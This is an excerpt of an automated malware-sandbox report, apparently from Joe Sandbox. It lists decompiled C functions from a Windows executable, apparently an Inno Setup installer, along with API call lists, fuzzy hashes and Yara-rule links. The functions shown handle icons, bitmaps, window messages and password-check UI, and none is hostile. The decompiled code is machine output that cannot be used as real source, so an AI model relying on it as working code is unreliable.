					 *((intOrPtr*)(_t166 - 0x30)) = E0040693C( *((intOrPtr*)( *((intOrPtr*)(_t166 - 0x44)) + 8)),  *((intOrPtr*)(_t166 - 0x10)), _t158, 0);
					 *[fs:eax] = _t167;
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t166 - 4)))) + 8))( *[fs:eax], 0x41bffc, _t166);
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t166 - 4))))))();
					E0041BB9C( *((intOrPtr*)(_t166 - 0x30)),  *((intOrPtr*)(_t166 - 0x30)), _t166 - 0x3c, _t166 - 0x38,  *((intOrPtr*)( *((intOrPtr*)(_t166 - 4)))), 0);
					GetObjectA( *(_t166 - 0x3c), 0x18, _t166 - 0x74);
					GetObjectA( *(_t166 - 0x38), 0x18, _t166 - 0x5c);
					_t132 =  *(_t166 - 0x68) *  *(_t166 - 0x6c) * ( *(_t166 - 0x64) & 0x0000ffff);
					 *(_t166 - 0x40) =  *(_t166 - 0x50) *  *(_t166 - 0x54) * ( *(_t166 - 0x4c) & 0x0000ffff);
					 *((intOrPtr*)(_t166 - 0x18)) =  *(_t166 - 0x40) + _t132;
					 *(_t166 - 0x34) = E0040693C( *((intOrPtr*)(_t166 - 0x18)),  *(_t166 - 0x50) *  *(_t166 - 0x54) * ( *(_t166 - 0x4c) & 0x0000ffff) >> 0x20, _t158, 0);
					_push(_t166);
					_push(0x41bfd9);
					_push( *[fs:eax]);
					 *[fs:eax] = _t167;
					_t159 =  *(_t166 - 0x34);
					_t162 =  &(( *(_t166 - 0x34))[_t132]);
					GetBitmapBits( *(_t166 - 0x3c), _t132, _t159);
					GetBitmapBits( *(_t166 - 0x38),  *(_t166 - 0x40), _t162);
					DeleteObject( *(_t166 - 0x38));
					DeleteObject( *(_t166 - 0x3c));
					_t118 =  *0x48f014; // 0x400000
					 *((intOrPtr*)( *((intOrPtr*)(_t166 - 8)))) = CreateIcon(_t118,  *(_t166 - 0x28),  *(_t166 - 0x24),  *(_t166 - 0x4c),  *(_t166 - 0x4a), _t159, _t162);
					if( *((intOrPtr*)( *((intOrPtr*)(_t166 - 8)))) == 0) {
						E0041B378();
					}
					_pop(_t150);
					 *[fs:eax] = _t150;
					_push(E0041BFE0);
					return E00402660( *(_t166 - 0x34));
				} else {
					_t140 = _t134 + 1;
					_t125 = 0;
					while(1) {
						_t154 =  *( *((intOrPtr*)(_t166 - 0x10)) + 2 + (_t125 + _t125) * 8) & 0x0000ffff;
						_t164 =  *(_t166 - 0x1a) & 0x0000ffff;
						if(_t154 == _t164) {
							break;
						}
						__eflags = _t127 - 0xffffffff;
						if(_t127 != 0xffffffff) {
							__eflags = _t154 -  *(_t166 - 0x20);
							if(_t154 >  *(_t166 - 0x20)) {
								_t127 = _t125;
							}
						} else {
							__eflags = _t164 - _t154;
							if(_t164 >= _t154) {
								_t127 = _t125;
								 *(_t166 - 0x20) =  *( *((intOrPtr*)(_t166 - 0x10)) + 2 + (_t125 + _t125) * 8) & 0x0000ffff;
							}
						}
						_t125 = _t125 + 1;
						_t140 = _t140 - 1;
						__eflags = _t140;
						if(__eflags != 0) {
							continue;
						} else {
							goto L10;
						}
					}
					_t127 = _t125;
					goto L10;
				}
			}

0x0041be47
0x0041be47
0x0041be4c
0x0041be52
0x0041be55
0x0041be99
0x0041be9c
0x0041be9e
0x0041be9e
0x0041beaa
0x0041beb8
0x0041bec6
0x0041bee0
0x0041bef3
0x0041befd
0x0041bf0c
0x0041bf1b
0x0041bf2b
0x0041bf3a
0x0041bf42
0x0041bf4d
0x0041bf52
0x0041bf53
0x0041bf58
0x0041bf5b
0x0041bf5e
0x0041bf64
0x0041bf6c
0x0041bf7a
0x0041bf83
0x0041bf8c
0x0041bfa3
0x0041bfb1
0x0041bfb9
0x0041bfbb
0x0041bfbb
0x0041bfc2
0x0041bfc5
0x0041bfc8
0x0041bfd8
0x0041be57
0x0041be57
0x0041be58
0x0041be5a
0x0041be61
0x0041be66
0x0041be6c
0x00000000
0x00000000
0x0041be72
0x0041be75
0x0041be8e
0x0041be91
0x0041be93
0x0041be93
0x0041be77
0x0041be77
0x0041be79
0x0041be7b
0x0041be89
0x0041be89
0x0041be79
0x0041be95
0x0041be96
0x0041be96
0x0041be97
0x00000000
0x00000000
0x00000000
0x00000000
0x0041be97
0x0041be6e
0x00000000
0x0041be6e

APIs

GetObjectA.GDI32(?,00000018,?), ref: 0041BF0C
GetObjectA.GDI32(?,00000018,?), ref: 0041BF1B
GetBitmapBits.GDI32(?,?,?), ref: 0041BF6C
GetBitmapBits.GDI32(?,?,?), ref: 0041BF7A
DeleteObject.GDI32(?), ref: 0041BF83
DeleteObject.GDI32(?), ref: 0041BF8C
CreateIcon.USER32(00400000,?,?,?,?,?,?), ref: 0041BFA9

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Object$BitmapBitsDelete$CreateIcon
String ID:
API String ID: 1030595962-0
Opcode ID: 6ab8290f6721c08eb991d3024aa311dd4da3b1cfc13afef1c50b3c3246a1cd75
Instruction ID: 9d220f5870bbd12f3265014d348204a50707938c1f023c9dfc9dc97e0db48908
Opcode Fuzzy Hash: 6ab8290f6721c08eb991d3024aa311dd4da3b1cfc13afef1c50b3c3246a1cd75
Instruction Fuzzy Hash: 3C510575E00619AFCB14DFA9C8819EEB7F9EF48314B11842AF914E7391D738AD81CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0041CEBC Relevance: 10.7, APIs: 7, Instructions: 152
windowCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E0041CEBC(void* __eax, void* __ebx, int* __ecx, intOrPtr __edx, void* __edi, void* __esi) {
				intOrPtr _v8;
				struct HDC__* _v12;
				char _v13;
				char _v14;
				signed char _t57;
				char _t58;
				intOrPtr _t64;
				struct HDC__* _t72;
				void* _t74;
				void* _t81;
				struct HDC__* _t93;
				void* _t106;
				intOrPtr _t122;
				intOrPtr _t124;
				intOrPtr _t125;
				intOrPtr _t127;
				int* _t129;
				void* _t131;
				void* _t132;
				intOrPtr _t133;

				_t107 = __ecx;
				_t131 = _t132;
				_t133 = _t132 + 0xfffffff4;
				_t129 = __ecx;
				_v8 = __edx;
				_t106 = __eax;
				if(E0041D120(__eax) == 0) {
					SetStretchBltMode(E0041B078(_v8), 3);
				}
				if( *((intOrPtr*)(_t106 + 0x14)) == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t106 + 0x10)) + 0xc)) == 0) {
					_push(0x26);
					_t57 = E0041B078(_v8);
					_push(_t57);
					L00405C4C();
					if((_t57 & 0x00000020) == 0 ||  *((char*)( *((intOrPtr*)(_t106 + 0x10)) + 0x25)) != 1 ||  *((intOrPtr*)( *((intOrPtr*)(_t106 + 0x10)) + 8)) == 0 || E0040CC20( *((intOrPtr*)( *((intOrPtr*)(_t106 + 0x10)) + 8))) == 0) {
						goto L9;
					} else {
						_t58 = 0;
					}
				} else {
					L9:
					_t58 = 1;
				}
				_v13 = _t58;
				_t127 =  *((intOrPtr*)(_t106 + 0x10));
				_t122 =  *0x41d058; // 0xf
				E0041B14C(_v8, _t107, _t122, _t127);
				E0041D23C(_t106);
				_v12 = 0;
				_v14 = 0;
				_t64 =  *((intOrPtr*)(_t127 + 0x10));
				if(_t64 != 0) {
					_push(1);
					_push(_t64);
					_t93 =  *(_v8 + 4);
					_push(_t93);
					L00405D1C();
					_v12 = _t93;
					_push( *(_v8 + 4));
					L00405CDC();
					_v14 = 1;
				}
				_push(_t131);
				_push(0x41d049);
				_push( *[fs:ecx]);
				 *[fs:ecx] = _t133;
				if(_v13 == 0) {
					StretchDIBits( *(_v8 + 4),  *_t129, _t129[1], _t129[2] -  *_t129, _t129[3] - _t129[1], 0, 0,  *(_t127 + 0x14),  *(_t127 + 0x18),  *(_t127 + 0x20),  *(_t127 + 0x1c), 0,  *(_v8 + 0x20));
				} else {
					_t74 = E0041D0B4(_t106, 0, _t122);
					_t125 =  *0x41d058; // 0xf
					E0041B14C(_t74, 0, _t125, _t127);
					_t81 = E0041D0B4(_t106, 0, _t125);
					StretchBlt(E0041B078(_v8),  *_t129, _t129[1], _t129[2] -  *_t129, _t129[3] - _t129[1],  *(_t81 + 4), 0, 0,  *(_t127 + 0x14),  *(_t127 + 0x18),  *(_v8 + 0x20));
				}
				_pop(_t124);
				 *[fs:eax] = _t124;
				_push(0x41d050);
				if(_v14 != 0) {
					_push(1);
					_push(_v12);
					_t72 =  *(_v8 + 4);
					_push(_t72);
					L00405D1C();
					return _t72;
				}
				return 0;
			}

0x0041cebc
0x0041cebd
0x0041cebf
0x0041cec5
0x0041cec7
0x0041ceca
0x0041ced5
0x0041cee2
0x0041cee2
0x0041ceeb
0x0041cef6
0x0041cefb
0x0041cf00
0x0041cf01
0x0041cf09
0x00000000
0x0041cf2c
0x0041cf2c
0x0041cf2c
0x0041cf30
0x0041cf30
0x0041cf30
0x0041cf30
0x0041cf32
0x0041cf35
0x0041cf38
0x0041cf41
0x0041cf48
0x0041cf4f
0x0041cf52
0x0041cf56
0x0041cf5b
0x0041cf5d
0x0041cf5f
0x0041cf63
0x0041cf66
0x0041cf67
0x0041cf6c
0x0041cf75
0x0041cf76
0x0041cf7b
0x0041cf7b
0x0041cf81
0x0041cf82
0x0041cf87
0x0041cf8a
0x0041cf91
0x0041d01e
0x0041cf93
0x0041cf95
0x0041cf9a
0x0041cfa0
0x0041cfba
0x0041cfe0
0x0041cfe0
0x0041d025
0x0041d028
0x0041d02b
0x0041d034
0x0041d036
0x0041d03b
0x0041d03f
0x0041d042
0x0041d043
0x00000000
0x0041d043
0x0041d048

APIs

SetStretchBltMode.GDI32(00000000,00000003), ref: 0041CEE2
73AFAD70.GDI32(00000000,00000026), ref: 0041CF01
73AFB410.GDI32(?,?,00000001,00000000,00000026), ref: 0041CF67
73AFB150.GDI32(?,?,?,00000001,00000000,00000026), ref: 0041CF76
StretchBlt.GDI32(00000000,?,?,?,?,?,00000000,00000000,00000000,?,?), ref: 0041CFE0
StretchDIBits.GDI32(?,?,?,?,?,00000000,00000000,00000000,?,?,?,00000000,?), ref: 0041D01E
73AFB410.GDI32(?,?,00000001,0041D050,00000000,00000026), ref: 0041D043

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Stretch$B410$B150BitsMode
String ID:
API String ID: 1142175050-0
Opcode ID: 8c6f3b607d64d37a2042fe91b5d4bbbfb39ec59a86ccb9df25baee173d6c50e6
Instruction ID: dd46121b725e3b42f225da0c334f71b23089d65068998a5a38c8dd7487c11b3e
Opcode Fuzzy Hash: 8c6f3b607d64d37a2042fe91b5d4bbbfb39ec59a86ccb9df25baee173d6c50e6
Instruction Fuzzy Hash: 11513CB0644600AFDB14DFA9C985F9BBBF9AF08304F14459AB944D7392C778ED81CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00454A40 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103
windowCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E00454A40(int __eax, void* __ebx, long __ecx, char __edx, void* __edi, void* __esi, char* _a4) {
				char _v5;
				char _v6;
				char _v12;
				intOrPtr _v16;
				struct tagMSG _v44;
				char _v48;
				struct HWND__* _t31;
				intOrPtr _t33;
				intOrPtr _t42;
				void* _t46;
				char _t47;
				intOrPtr _t51;
				char* _t61;
				intOrPtr _t68;
				intOrPtr _t73;
				void* _t80;
				void* _t81;
				intOrPtr _t82;

				_t80 = _t81;
				_t82 = _t81 + 0xffffffd4;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v48 = 0;
				_v12 = 0;
				_t78 = __ecx;
				_v5 = __edx;
				_t76 = __eax;
				_t61 = _a4;
				_push(_t80);
				_push(0x454baa);
				_push( *[fs:eax]);
				 *[fs:eax] = _t82;
				_v6 = 0;
				 *_t61 = 0;
				if( *0x48fee8 == 0) {
					L10:
					_pop(_t68);
					 *[fs:eax] = _t68;
					_push(0x454bb1);
					E00403418( &_v48);
					return E00403418( &_v12);
				} else {
					 *0x48fefc = 0;
					_t31 =  *0x48fef4; // 0x0
					if(SendMessageA(_t31, __eax, 0, __ecx) == 0) {
						goto L10;
					} else {
						_v6 = 1;
						_t33 =  *0x48f628; // 0x22f2410
						E00424260(_t33,  &_v12);
						_v16 = E0041EE88(0, _t61, _t76, _t78);
						_push(_t80);
						_push(0x454b58);
						_push( *[fs:eax]);
						 *[fs:eax] = _t82;
						E004034AC( &_v48, "[Paused] ");
						E00403594( &_v48, _v12);
						_t42 =  *0x48f628; // 0x22f2410
						E004242A8(_t42, _v48, _t76);
						while( *0x48fefc == 0) {
							_t46 = GetMessageA( &_v44, 0, 0, 0) - 0xffffffff;
							if(_t46 != 0) {
								if(_t46 == 1) {
									PostQuitMessage(_v44.wParam);
								} else {
									TranslateMessage( &_v44);
									DispatchMessageA( &_v44);
									continue;
								}
							}
							break;
						}
						_t47 =  *0x48fefd; // 0x0
						 *_t61 = _t47;
						_pop(_t73);
						 *[fs:eax] = _t73;
						_push(0x454b5f);
						E0041EF3C(_v16);
						_t51 =  *0x48f628; // 0x22f2410
						return E004242A8(_t51, _v12, _t76);
					}
				}
			}

0x00454a41
0x00454a43
0x00454a46
0x00454a47
0x00454a48
0x00454a4b
0x00454a4e
0x00454a51
0x00454a53
0x00454a56
0x00454a58
0x00454a5d
0x00454a5e
0x00454a63
0x00454a66
0x00454a69
0x00454a6d
0x00454a77
0x00454b8c
0x00454b8e
0x00454b91
0x00454b94
0x00454b9c
0x00454ba9
0x00454a7d
0x00454a7d
0x00454a8c
0x00454a99
0x00000000
0x00454a9f
0x00454a9f
0x00454aa6
0x00454aab
0x00454ab7
0x00454abc
0x00454abd
0x00454ac2
0x00454ac5
0x00454ad0
0x00454adb
0x00454ae3
0x00454ae8
0x00454b25
0x00454afe
0x00454b01
0x00454b04
0x00454b0c
0x00454b06
0x00454b17
0x00454b20
0x00000000
0x00454b20
0x00454b04
0x00000000
0x00454b01
0x00454b2e
0x00454b33
0x00454b37
0x00454b3a
0x00454b3d
0x00454b45
0x00454b4d
0x00454b57
0x00454b57
0x00454a99

APIs

SendMessageA.USER32(00000000,?,?), ref: 00454A92

Part of subcall function 00424260: GetWindowTextA.USER32 ref: 00424280

Part of subcall function 0041EE88: GetCurrentThreadId.KERNEL32 ref: 0041EED7
Part of subcall function 0041EE88: 73AFAC10.USER32(00000000,0041EE38,00000000,00000000,0041EEF4,?,00000000,0041EF2B,?,0042E6D8,?,00000001), ref: 0041EEDD

Part of subcall function 004242A8: SetWindowTextA.USER32(?,00000000), ref: 004242C0

GetMessageA.USER32 ref: 00454AF9
TranslateMessage.USER32(?), ref: 00454B17
DispatchMessageA.USER32 ref: 00454B20

Strings

[Paused] , xrefs: 00454AC8

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Message$TextWindow$CurrentDispatchSendThreadTranslate
String ID: [Paused]
API String ID: 3744435275-4230553315
Opcode ID: e83041b643d5c00cf529802f92d50be635d5933b916d70c92f752238d6325057
Instruction ID: c6278e554f735680dec37aab739c8584428bf0bcf03b11cd4b568db5991b3be2
Opcode Fuzzy Hash: e83041b643d5c00cf529802f92d50be635d5933b916d70c92f752238d6325057
Instruction Fuzzy Hash: 8131E830904244AEDB01DBB6DC41BDE7BB8DB49318F5144BBE800E7692D67CE949CB68

Uniqueness

Uniqueness Score: -1.00%

Function 004653E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 99
sleepCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E004653E0(void* __ebx, void* __ecx, void* __edi, struct HICON__* __esi, void* __eflags, void* __fp0, intOrPtr _a4) {
				char _v8;
				char _v12;
				char _v16;
				intOrPtr _t40;
				intOrPtr _t41;
				intOrPtr _t44;
				struct HICON__* _t56;
				intOrPtr _t68;
				void* _t73;
				intOrPtr _t81;
				void* _t91;
				void* _t101;

				_t101 = __fp0;
				_t88 = __esi;
				_t87 = __edi;
				_push(__esi);
				_push(__edi);
				_v8 = 0;
				_push(_t91);
				_push(0x46551f);
				_push( *[fs:eax]);
				 *[fs:eax] = _t91 + 0xfffffff4;
				_t73 = 0;
				E00414ACC( *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x218)),  &_v8, __eflags);
				if(( *0x49015d & 0x00000020) != 0) {
					_t73 = E00470938(_v8);
				}
				if(_t73 == 0) {
					_t96 =  *0x49027c;
					if( *0x49027c != 0) {
						_v16 = _v8;
						_v12 = 0xb;
						_t68 =  *0x49027c; // 0x2329f3c
						_t73 = E0048A14C(_t68,  &_v16, "CheckPassword", _t96, _t101, _t73, 0, 0);
					}
				}
				if(_t73 == 0) {
					_t40 =  *((intOrPtr*)(_a4 - 4));
					__eflags =  *((char*)(_t40 + 0x37));
					if( *((char*)(_t40 + 0x37)) != 0) {
						_t56 = GetCursor();
						_t88 = _t56;
						SetCursor(LoadCursorA(0, 0x7f02));
						Sleep(0x2ee);
						SetCursor(_t56);
					}
					_t41 =  *0x48fcc0; // 0x230b1ec
					E00475DF4(_t41, _t73, 2, 0, _t87, _t88, 1, 1, 0);
					_t44 =  *((intOrPtr*)(_a4 - 4));
					__eflags =  *((char*)(_t44 + 0x37));
					if( *((char*)(_t44 + 0x37)) != 0) {
						__eflags = 0;
						E00414AFC( *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x218)), _t73, 0, _t87, _t88);
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x218)))) + 0x78))();
					}
				} else {
					 *0x490234 = 0;
					if(( *0x490161 & 0x00000002) != 0) {
						E00403468(E004670E0() + 0x138, _t73, _v8, _t87, _t88);
					}
					E00414AFC( *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x218)), _t73, 0, _t87, _t88);
				}
				_pop(_t81);
				 *[fs:eax] = _t81;
				_push(0x465526);
				return E00403418( &_v8);
			}

0x004653e0
0x004653e0
0x004653e0
0x004653e7
0x004653e8
0x004653eb
0x004653f0
0x004653f1
0x004653f6
0x004653f9
0x004653fc
0x0046540d
0x00465419
0x00465423
0x00465423
0x00465427
0x00465429
0x00465430
0x0046543a
0x0046543d
0x00465449
0x00465453
0x00465453
0x00465430
0x00465457
0x00465493
0x00465496
0x0046549a
0x0046549c
0x004654a1
0x004654b0
0x004654ba
0x004654c0
0x004654c0
0x004654cf
0x004654d4
0x004654dc
0x004654df
0x004654e3
0x004654f1
0x004654f3
0x00465506
0x00465506
0x00465459
0x00465459
0x00465467
0x00465476
0x00465476
0x00465489
0x00465489
0x0046550b
0x0046550e
0x00465511
0x0046551e

APIs

GetCursor.USER32(00000000,0046551F), ref: 0046549C
LoadCursorA.USER32 ref: 004654AA
SetCursor.USER32(00000000,00000000,00007F02,00000000,0046551F), ref: 004654B0
Sleep.KERNEL32(000002EE,00000000,00000000,00007F02,00000000,0046551F), ref: 004654BA
SetCursor.USER32(00000000,000002EE,00000000,00000000,00007F02,00000000,0046551F), ref: 004654C0

Strings

CheckPassword, xrefs: 00465444

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Cursor$LoadSleep
String ID: CheckPassword
API String ID: 4023313301-1302249611
Opcode ID: a2272f6b335257e564297197905385bd392c7b2b07c092bb0ac033d4687ca29d
Instruction ID: 826988ba3a19f4a7ef0b4daf9ec93b5ee07885d8aae0c5710a18fc18fb0aefb6
Opcode Fuzzy Hash: a2272f6b335257e564297197905385bd392c7b2b07c092bb0ac033d4687ca29d
Instruction Fuzzy Hash: 04318430640604AFD711DF79C88EB9E7BE5AF45304F5580B6F8049B3A2EB789D40CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041C12C Relevance: 10.6, APIs: 7, Instructions: 70
windowCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E0041C12C(struct HBITMAP__* __eax, void* __ebx, struct tagBITMAPINFO* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, void* _a8) {
				char _v5;
				intOrPtr _v12;
				struct HDC__* _v16;
				struct HDC__* _v20;
				struct HDC__* _t23;
				intOrPtr _t31;
				struct HDC__* _t34;
				struct tagBITMAPINFO* _t37;
				intOrPtr _t44;
				void* _t46;
				struct HBITMAP__* _t48;
				void* _t51;

				_t37 = __ecx;
				_t46 = __edx;
				_t48 = __eax;
				E0041C02C(__eax, _a4, __ecx);
				_v12 = 0;
				_v16 = GetFocus();
				_t23 = _v16;
				_push(_t23);
				L00405F1C();
				_v20 = _t23;
				_push(_t51);
				_push(0x41c1d7);
				_push( *[fs:eax]);
				 *[fs:eax] = _t51 + 0xfffffff0;
				if(_t46 != 0) {
					_push(0);
					_push(_t46);
					_t34 = _v20;
					_push(_t34);
					L00405D1C();
					_v12 = _t34;
					_push(_v20);
					L00405CDC();
				}
				_v5 = GetDIBits(_v20, _t48, 0, _t37->bmiHeader.biHeight, _a8, _t37, 0) != 0;
				_pop(_t44);
				 *[fs:eax] = _t44;
				_push(0x41c1de);
				if(_v12 != 0) {
					_push(0);
					_push(_v12);
					_push(_v20);
					L00405D1C();
				}
				_push(_v20);
				_t31 = _v16;
				_push(_t31);
				L00406104();
				return _t31;
			}

0x0041c135
0x0041c137
0x0041c139
0x0041c142
0x0041c149
0x0041c151
0x0041c154
0x0041c157
0x0041c158
0x0041c15d
0x0041c162
0x0041c163
0x0041c168
0x0041c16b
0x0041c170
0x0041c172
0x0041c174
0x0041c175
0x0041c178
0x0041c179
0x0041c17e
0x0041c184
0x0041c185
0x0041c185
0x0041c1a3
0x0041c1a9
0x0041c1ac
0x0041c1af
0x0041c1b8
0x0041c1ba
0x0041c1bf
0x0041c1c3
0x0041c1c4
0x0041c1c4
0x0041c1cc
0x0041c1cd
0x0041c1d0
0x0041c1d1
0x0041c1d6

APIs

Part of subcall function 0041C02C: GetObjectA.GDI32(?,00000018), ref: 0041C039

GetFocus.USER32 ref: 0041C14C
73AFAC50.USER32(?), ref: 0041C158
73AFB410.GDI32(?,?,00000000,00000000,0041C1D7,?,?), ref: 0041C179
73AFB150.GDI32(?,?,?,00000000,00000000,0041C1D7,?,?), ref: 0041C185
GetDIBits.GDI32(?,?,00000000,?,?,?,00000000), ref: 0041C19C
73AFB410.GDI32(?,00000000,00000000,0041C1DE,?,?), ref: 0041C1C4
73AFB380.USER32(?,?,0041C1DE,?,?), ref: 0041C1D1

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: B410$B150B380BitsFocusObject
String ID:
API String ID: 514114485-0
Opcode ID: 1462acd3ed839de1fb4952b928c309763a0029310ede000dc95b9cba959b1f97
Instruction ID: 69d2c45fc0f514358a07e38578509ebc160661b28a2a6d3b67b6b30d0c7fd41f
Opcode Fuzzy Hash: 1462acd3ed839de1fb4952b928c309763a0029310ede000dc95b9cba959b1f97
Instruction Fuzzy Hash: B6113A71A84604BFDB10EBE9CC85FAFB7FCEF48700F54446AB514E7281D67899408B68

Uniqueness

Uniqueness Score: -1.00%

Function 00418C38 Relevance: 10.6, APIs: 7, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 35%

			E00418C38(void* __eax) {
				int _v8;
				intOrPtr _v12;
				char _v16;
				int _t15;
				intOrPtr _t17;
				intOrPtr _t21;
				int _t31;
				void* _t33;
				intOrPtr _t41;
				void* _t43;
				void* _t45;
				intOrPtr _t46;

				_t43 = _t45;
				_t46 = _t45 + 0xfffffff4;
				_t33 = __eax;
				if( *((short*)(__eax + 0x46)) == 0xffff) {
					return __eax;
				} else {
					_push(1);
					_push(1);
					_push(1);
					_push(GetSystemMetrics(0xe));
					_t15 = GetSystemMetrics(0xd);
					_push(_t15);
					L00409930();
					_v8 = _t15;
					_push(_t43);
					_push(0x418cec);
					_push( *[fs:eax]);
					 *[fs:eax] = _t46;
					_t17 =  *0x48f62c; // 0x22f0660
					E00409950(_v8, E00423350(_t17,  *((short*)(_t33 + 0x46))));
					_t21 =  *0x48f62c; // 0x22f0660
					E00409950(_v8, E00423350(_t21,  *((short*)(_t33 + 0x46))));
					_push(0);
					_push(0);
					_push(0);
					_push(_v8);
					L00409984();
					_push( &_v16);
					_push(0);
					L00409994();
					_push(_v12);
					_push(_v16);
					_push(1);
					_push(_v8);
					L00409984();
					_pop(_t41);
					 *[fs:eax] = _t41;
					_push(0x418cf3);
					_t31 = _v8;
					_push(_t31);
					L00409938();
					return _t31;
				}
			}

0x00418c39
0x00418c3b
0x00418c3f
0x00418c46
0x00418cf7
0x00418c4c
0x00418c4c
0x00418c4e
0x00418c50
0x00418c59
0x00418c5c
0x00418c61
0x00418c62
0x00418c67
0x00418c6c
0x00418c6d
0x00418c72
0x00418c75
0x00418c7c
0x00418c8b
0x00418c94
0x00418ca3
0x00418ca8
0x00418caa
0x00418cac
0x00418cb1
0x00418cb2
0x00418cba
0x00418cbb
0x00418cbd
0x00418cc5
0x00418cc9
0x00418cca
0x00418ccf
0x00418cd0
0x00418cd7
0x00418cda
0x00418cdd
0x00418ce2
0x00418ce5
0x00418ce6
0x00418ceb
0x00418ceb

APIs

GetSystemMetrics.USER32 ref: 00418C54
GetSystemMetrics.USER32 ref: 00418C5C
70267CB0.COMCTL32(00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,00000000), ref: 00418C62

Part of subcall function 00409950: 70260620.COMCTL32(0048F628,000000FF,00000000,00418C90,00000000,00418CEC,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,00000000), ref: 00409954

702BBC60.COMCTL32(0048F628,00000000,00000000,00000000,00000000,00418CEC,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001,00000000), ref: 00418CB2
702BB6C0.COMCTL32(00000000,?,0048F628,00000000,00000000,00000000,00000000,00418CEC,?,00000000,0000000D,00000000,0000000E,00000001,00000001,00000001), ref: 00418CBD
702BBC60.COMCTL32(0048F628,00000001,?,?,00000000,?,0048F628,00000000,00000000,00000000,00000000,00418CEC,?,00000000,0000000D,00000000), ref: 00418CD0
70267D50.COMCTL32(0048F628,00418CF3,?,00000000,?,0048F628,00000000,00000000,00000000,00000000,00418CEC,?,00000000,0000000D,00000000,0000000E), ref: 00418CE6

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: 70267MetricsSystem$70260620
String ID:
API String ID: 3681698434-0
Opcode ID: 3f7400f8109769f56864c3e5e68a0cce4892016e89210e5e12579846faa68825
Instruction ID: a15bd130fbd068cc5afb6071f2cc5479729ba946ab0df199208bf8fc2813ae09
Opcode Fuzzy Hash: 3f7400f8109769f56864c3e5e68a0cce4892016e89210e5e12579846faa68825
Instruction Fuzzy Hash: 56115471B44204BBDB10EBA5DC82F5E73B8EB08704F50447EBA04FB2D2E9799E408758

Uniqueness

Uniqueness Score: -1.00%

Function 0047A3CC Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 61
registryCOMMON

Download Yara Rule

C-Code - Quality: 68%

